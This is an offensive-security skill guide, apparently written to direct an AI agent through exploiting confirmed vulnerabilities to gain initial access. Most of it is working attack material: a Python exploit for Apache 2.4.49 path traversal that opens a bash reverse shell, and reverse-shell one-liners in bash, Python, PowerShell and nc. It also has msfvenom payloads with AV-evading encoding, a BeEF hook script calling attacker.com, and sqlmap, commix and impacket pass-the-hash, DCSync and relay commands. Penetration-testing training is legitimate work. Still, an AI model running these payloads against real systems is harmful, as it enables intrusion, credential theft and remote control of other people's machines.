aeondave/vuln-exploit-technique

Vuln-exploit technique

Goal: reliably achieve initial access by exploiting a confirmed vulnerability, then hand off a stable session to post-exploitation.

When this technique applies

• vuln-search-technique has produced confirmed, prioritized findings.
• A specific CVE, vulnerability class, or service weakness is confirmed in scope.
• Need to turn a confirmed vulnerability into a shell/session (initial access).
• Engagement requires documented exploitation path, not just finding identification.

Boundary

• Input from vuln-search-technique: confirmed infrastructure/service vulnerability with CVE, version, service details. Web class vulns → web-exploit-technique.
• Not covered: post-exploitation lateral movement, privilege escalation after initial shell — those are separate engagements.
• Memory-corruption methodology: turning a confirmed binary corruption primitive (stack/heap overflow, UAF, format string) into controlled impact → load offensive-techniques/binary-exploitation-technique/.
• Offensive coding: custom exploit development at depth (Python exploit harnesses, C PoCs, shellcode, ROP, heap exploitation) → load coding/python-patterns/, coding/c-patterns/, offensive-coding/shellcode-dev/, offensive-coding/rop-development-dev/, or offensive-coding/heap-exploitation-dev/ as needed.
• EDR evasion: payload evasion for hardened targets → load offensive-coding/edr-evasion-dev/.

Initial triage

Before running PoCs, classify the confirmed vulnerability and choose the least-complex path that can prove initial-access impact.

• Starting state: do you have a confirmed CVE/module match, a service-level weakness, or a web-class issue that should instead move to web-exploit-technique?
• First questions: is the target version/config truly compatible, what proof level is needed, and is the best first path a framework module, a dedicated exploitation tool, or a small custom adapter?
• Immediate actions: verify environment match, rank available exploit paths by reliability and noise, set up the listener/session path, then execute one path at a time.
• Tool-family direction: use research and framework/tool skills first (searchsploit, metasploit, sqlmap, commix, xsstrike, impacket) before custom exploit development; load offensive-dev skills only when public options are insufficient.
• Escalation rule: prefer the minimum exploit that proves access; do not jump straight to complex payloads or destructive chains.

Agent operating model

Per confirmed vulnerability:
  1. Research available exploits — public PoC, Metasploit module, tool mode.
  2. Select best option: reliability, stealth, target match.
  3. Verify environment match before running.
  4. Execute: framework → tool → manual (escalate complexity only as needed).
  5. Verify proof quality — controls, repeatability, confounder elimination.
  6. Confirm initial access — stable shell, valid session, or objective-specific proof.
  7. Document: exact exploit path, payload, timestamp.
  8. Hand off session for post-exploitation.

If exploitation fails: verify target match, adapt payload, try next option.
Do NOT throw multiple exploits blindly — diagnose why one failed first.

---

Phase 1 — Exploit research

For every confirmed vulnerability, collect all available exploitation resources before choosing one.

searchsploit — local exploit-db search

# Search by product/version
searchsploit apache 2.4.49
searchsploit openssh 7.4
searchsploit "spring boot" rce

# Search by CVE
searchsploit CVE-2021-41773
searchsploit -w CVE-2021-44228     # show web URLs

# Copy exploit to working directory
searchsploit -m 50383              # by exploit-db ID

# Update database
searchsploit -u

See offensive-tools/exploits/searchsploit/.

GitHub PoC search

# Search patterns:
<CVE-ID>                         → "CVE-2021-41773"
<product> <version> exploit      → "apache 2.4.49 exploit"
<product> <version> poc          → "spring4shell poc"
<vulnerability class> <product>  → "sqli wordpress 6.0"

# Repositories to check:
- trickest/cve          — automated PoC collection
- nomi-sec/PoC-in-GitHub — PoC index by CVE
- 0day-Sec/CVE-Hub      — curated exploits

Quality signals for a PoC:

• Recent commits (not 2+ years stale)
• Stars / forks (community validation)
• README describes exact target version and environment
• Issues show people reproducing it (not just theoretical)

Metasploit module search

msfconsole -q
msf6 > search type:exploit name:apache
msf6 > search cve:2021-41773
msf6 > search platform:windows type:exploit rank:excellent

See offensive-tools/exploits/metasploit/.

See references/exploit-research.md for full CVE research workflow including CISA KEV, Vulners, and Packet Storm.

---

Phase 2 — Exploit selection and environment verification

Never run an exploit without confirming target match first.

Selection criteria

| Criterion | What to check | |-----------|--------------| | Version match | Exact software version confirmed in banner/fingerprint | | OS/arch match | x86 vs x64, Windows vs Linux, kernel version | | Configuration match | Specific module loaded, specific config option enabled | | Exploit reliability | Metasploit Excellent rank preferred; PoC with confirmed repros | | Operational impact | Does exploit crash the service? Acceptable in scope? | | Stealth requirement | Framework exploits generate more noise than tool-based |

Verification steps

# Confirm exact version again before running
curl -sI https://target.com | grep -i "server\|x-powered-by"
nmap -sV -p <port> target.com

# Check exploit prerequisites in README/module info
searchsploit -x 50383     # examine exploit source
msf6 > info exploit/multi/handler

# Test in lab first if exploit has low reliability rating or modifies target state

Proof confidence gate

Before declaring exploitation successful, classify the evidence:

• C0/C1: hypothesis or one-off signal — not enough for handoff.
• C2: reproducible anomaly with controls.
• C3: exploit primitive proven (controlled read/write/action/crash).
• C4: business impact proven (initial access, data access, auth bypass, RCE, or scoped objective impact).

Use references/exploit-proof-verification.md to eliminate confounders such as caching, stale sessions, races, WAF artifacts, and version mismatch.

---

Phase 3 — Proxy-assisted exploitation (Burp Suite)

For web-based exploitation, Burp Suite is the primary interception and manipulation layer — use it before commix/sqlmap to understand request structure, identify injection points manually, and replay/modify requests.

# Launch (GUI)
burpsuite &

# Or headless with project file
burpsuite --project-file target.burp --config-file burp-config.json

Key workflows:

• Intercept: modify requests in-flight before they reach the server
• Repeater: replay individual requests with modified parameters — confirm injection behavior manually
• Intruder: position markers in a request → fuzz with payloads → rank responses by length/status
• Scanner (Pro): passive scan from proxy traffic → active scan on confirmed endpoints
• Match & Replace: auto-modify headers/cookies across all traffic (inject auth headers, swap user IDs)

See offensive-tools/vuln-scanners/burpsuite/.

---

Phase 4 — Framework-based exploitation (Metasploit)

Use Metasploit when: a reliable module exists, the target is well-matched, or you need stable session management.

msfconsole -q

# Select and configure module
msf6 > use exploit/multi/http/apache_normalize_path_rce
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS target.com
msf6 exploit(...) > set RPORT 443
msf6 exploit(...) > set LHOST <attacker_ip>
msf6 exploit(...) > set LPORT 4444

# Payload selection
msf6 exploit(...) > show payloads
msf6 exploit(...) > set payload linux/x64/meterpreter/reverse_tcp  # staged
msf6 exploit(...) > set payload linux/x64/shell_reverse_tcp         # stageless simpler

# Run
msf6 exploit(...) > check     # non-intrusive check first (if module supports it)
msf6 exploit(...) > run       # or exploit

# Session management
msf6 > sessions -l            # list sessions
msf6 > sessions -i 1          # interact with session 1
meterpreter > sysinfo
meterpreter > shell

Payload type selection

| Scenario | Payload type | |----------|-------------| | Stable post-exploitation needed | meterpreter/reverse_tcp | | Simple shell, minimal footprint | shell/reverse_tcp | | Firewalled target (HTTPS out) | meterpreter/reverse_https | | No egress TCP (bind only) | shell/bind_tcp | | Stageless (no second-stage fetch) | linux/x64/meterpreter_reverse_tcp |

See offensive-tools/exploits/metasploit/ and references/framework-exploitation.md.

---

Phase 4 — Tool-based exploitation

For specific vulnerability classes, dedicated tools outperform generic frameworks.

SQL injection — sqlmap (full exploit)

# Confirm injection, dump database list
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# Dump specific database
sqlmap -u "https://target.com/page?id=1" --batch -D dbname --tables

# Dump table contents
sqlmap -u "https://target.com/page?id=1" --batch -D dbname -T users --dump

# POST request injection
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch --dbs

# Cookie injection
sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --batch

# OS command execution (if DBA privileges)
sqlmap -u "https://target.com/page?id=1" --os-shell --batch

See offensive-tools/vuln-scanners/sqlmap/.

Command injection — commix

# Auto-detect and exploit
commix --url "https://target.com/ping?host=127.0.0.1"

# POST data
commix --url "https://target.com/exec" --data="cmd=ls" --batch

# Cookie-based injection
commix --url "https://target.com/" --cookie="user=admin" --batch

See offensive-tools/web/commix/.

XSS exploitation — xsstrike

# Find and exploit XSS
xsstrike -u "https://target.com/search?q=test"

# Fuzzing mode (tries many payloads)
xsstrike -u "https://target.com/search?q=test" --fuzzer

# Blind XSS (with callback server)
xsstrike -u "https://target.com/contact" --blind --callback http://attacker.com

See offensive-tools/vuln-scanners/dalfox/ and offensive-tools/web/xsstrike/.

Browser-side exploitation — BeEF

# Hook a victim browser via XSS payload
# Payload: <script src="http://attacker.com:3000/hook.js"></script>
beef-xss   # start beef framework
# Access panel: http://localhost:3000/ui/panel

See offensive-tools/exploits/beef/.

Additional tool-based exploitation

| Vulnerability | Tool | Skill | |---------------|------|-------| | SSTI | sstimap | offensive-tools/vuln-scanners/sstimap/ | | SSRF | ssrfmap | offensive-tools/vuln-scanners/ssrfmap/ | | File inclusion | liffy | offensive-tools/web/liffy/ | | JWT attacks | jwt-tool | offensive-tools/web/jwt-tool/ |

Windows/AD exploitation — impacket

After credential capture or SMB access, impacket provides Python-based Windows protocol exploitation without requiring Windows tooling.

# Pass-the-hash via SMB → remote command execution
impacket-psexec -hashes :NTLMHASH [email protected]

# Pass-the-hash via WMI (lower noise than psexec)
impacket-wmiexec -hashes :NTLMHASH [email protected]

# Kerberoasting — extract service tickets for offline cracking
impacket-GetUserSPNs -request domain.local/user:pass -dc-ip 10.0.0.1

# AS-REP roasting — users with no pre-auth required
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.0.0.1

# DCSync — dump domain hashes (requires domain admin or replication rights)
impacket-secretsdump domain.local/administrator:[email protected]

# SMB relay (with responder poisoning)
impacket-ntlmrelayx -tf targets.txt -smb2support

See offensive-tools/windows/impacket/.

---

Phase 5 — Manual exploit development

When no public exploit exists or existing ones fail on the specific target version/config.

Python exploit skeleton

#!/usr/bin/env python3
import requests
import sys

TARGET = sys.argv[1]
LHOST  = sys.argv[2]
LPORT  = int(sys.argv[3])

# 1. Verify target is vulnerable
def check(url):
    r = requests.get(f"{url}/version", timeout=5)
    return "2.4.49" in r.text

# 2. Craft malicious payload
def exploit(url, lhost, lport):
    payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    encoded = payload.encode().hex()
    r = requests.get(
        f"{url}/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh",
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=f"echo;echo {encoded}|xxd -r -p|bash",
        timeout=10
    )
    return r

if check(TARGET):
    print(f"[+] Target vulnerable — exploiting")
    exploit(TARGET, LHOST, LPORT)
else:
    print("[-] Target not vulnerable or version mismatch")

C exploit skeleton (for network service exploits)

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Buffer overflow skeleton — fill with target-specific offsets
char shellcode[] = "\x90\x90\x90..."; // replace with actual shellcode

int main(int argc, char *argv[]) {
    // argv[1] = target IP, argv[2] = port
    // 1. Connect to service
    // 2. Trigger vulnerability with crafted payload
    // 3. Confirm shell
    return 0;
}

For deep exploit development (buffer overflows, ROP chains, shellcode writing) → load offensive-coding/ skills.

Use references/exploit-failure-triage.md when a public PoC fails or when deciding whether to adapt in Python/C versus switch tools.

See references/manual-exploit-dev.md for exploit porting, adaptation, and Python/C patterns.

---

Phase 6 — Payload generation and delivery

Before choosing payload type, load the staging matrix in references/exploit-failure-triage.md. Default to the smallest proof first: command output or read-only access before a full agent/session. Escalate only when initial proof is stable and in scope.

msfvenom payload generation

# Linux reverse shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o shell.elf

# Windows reverse shell EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o shell.exe

# PHP web shell
msfvenom -p php/reverse_php LHOST=<ip> LPORT=4444 -f raw -o shell.php

# Python
msfvenom -p cmd/unix/reverse_python LHOST=<ip> LPORT=4444 -f raw

# Encode to evade basic AV (limited effectiveness)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 \
  -e x64/xor_dynamic -i 3 -f exe -o encoded_shell.exe

One-liner reverse shells

# Bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1

# Python3
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<lhost>",<lport>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'

# PowerShell
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('<lhost>',<lport>);$stream=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$stream.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s=([text.encoding]::ASCII).GetBytes($r2);$stream.Write($s,0,$s.Length)}"

# nc with /bin/sh
nc -e /bin/sh <lhost> <lport>

See offensive-tools/shells/revshells/ and offensive-tools/shells/revshellgen/ for generator tools.

Listener setup

# nc listener
nc -lvnp 4444

# Metasploit multi/handler (for meterpreter payloads)
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST <ip>
msf6 > set LPORT 4444
msf6 > run -j

# pwncat-cs (auto TTY upgrade, file transfer, persistence)
pwncat-cs -lp 4444

---

Phase 7 — Initial access confirmation

Confirm access before declaring success or handing off.

# Identity and privilege
id && whoami && hostname

# Network context
ip addr && ip route

# Scope check — confirm this is the right target
cat /etc/hostname
cat /etc/os-release
uname -a

# Persistence window (confirm shell stability)
# Run for 30 seconds — check it doesn't drop

Document:

• Shell type (TTY/PTY, reverse/bind)
• User and privilege level
• Session stability (one-shot or persistent)
• Exact exploit used (CVE, tool, command)

Hand off to post-exploitation with this information.

---

Quality gates

• Target version/config confirmed before exploitation attempt.
• Exploit tested in identical lab environment first (when time allows).
• Every exploitation attempt is logged (timestamp, tool, payload, result).
• Initial access confirmed with identity and context commands.
• No exploitation of out-of-scope assets even if discovered in recon.

Anti-patterns

• Running unadapted public exploits without verifying version/config match.
• Escalating to destructive exploitation when simpler verification suffices.
• Ignoring exploit reliability rating and using unverified PoCs directly on production.
• Skipping listener setup before triggering reverse shell.
• Declaring success on a connection that drops after 10 seconds.
• Mixing exploitation of multiple vulns simultaneously — can't attribute what worked.

Resources

• references/exploit-research.md — CVE research workflow, PoC quality assessment, searchsploit patterns, GitHub exploit search.
• references/framework-exploitation.md — Metasploit module workflow, payload selection, session management, post-module basics.
• references/manual-exploit-dev.md — exploit adaptation, Python/C templates, payload encoding, environment reconstruction for exploit testing.
• references/exploit-failure-triage.md — failure ladder, payload staging matrix, and Python/C/offensive-dev handoff criteria.
• references/exploit-proof-verification.md — Confidence levels, independent replay, confounder control, acceptance criteria, and evidence-package requirements.
• references/binary-exploit-output-template.md — standardized finding format for memory-corruption exploits: vulnerability class, primitive, mitigations bypassed, pwntools script template, and reliability notes.